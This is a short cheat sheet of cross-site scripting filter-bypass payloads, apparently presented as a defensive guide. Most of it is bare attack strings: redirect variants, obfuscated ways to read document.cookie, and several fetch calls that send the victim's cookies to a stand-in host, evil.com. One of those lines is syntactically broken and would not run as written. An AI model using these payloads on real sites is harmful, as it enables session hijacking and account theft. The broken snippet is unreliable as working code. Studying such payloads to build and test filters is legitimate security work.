XSS-Bypass-Filters : Comprehensive Guide To Attack Techniques And Filter Evasion Strategies

This article dives into the sophisticated realm of Cross-Site Scripting (XSS) attacks, specifically focusing on bypassing security filters that are designed to thwart these intrusions.

It showcases a wide array of techniques and strategies for evading detection, from manipulating document properties to exploiting character encoding vulnerabilities.

Through detailed examples, it aims to equip developers and security professionals with the knowledge to recognize and defend against these complex XSS vulnerabilities.

Redirection

document.location=
document['location']=
window.location=
this["window"]["location"]=
document.location.href=
location.href=
location=
window.location.assign()
window['location']['href']=
document.location.replace()
window.open("link", "_blank");

Link

//google.com/?=a
//134744072:1234/?a= (decimal ip)

Cookies

document.cookie 
document['cookie']
with(document)alert(cookie)
doc\u0075ment.cookie
doc\u0075ment['cookie']
window["doc"+"ument"]["cookie"]

Concat

fetch("//evil.com/?c="+document.cookie)
fetch("//evil.com/?c=".concat(document.cookie))
fetch("//evil.com/?c=", document.cookie].join())
fetch(`//evil.com/?c=${document.cookie}`)
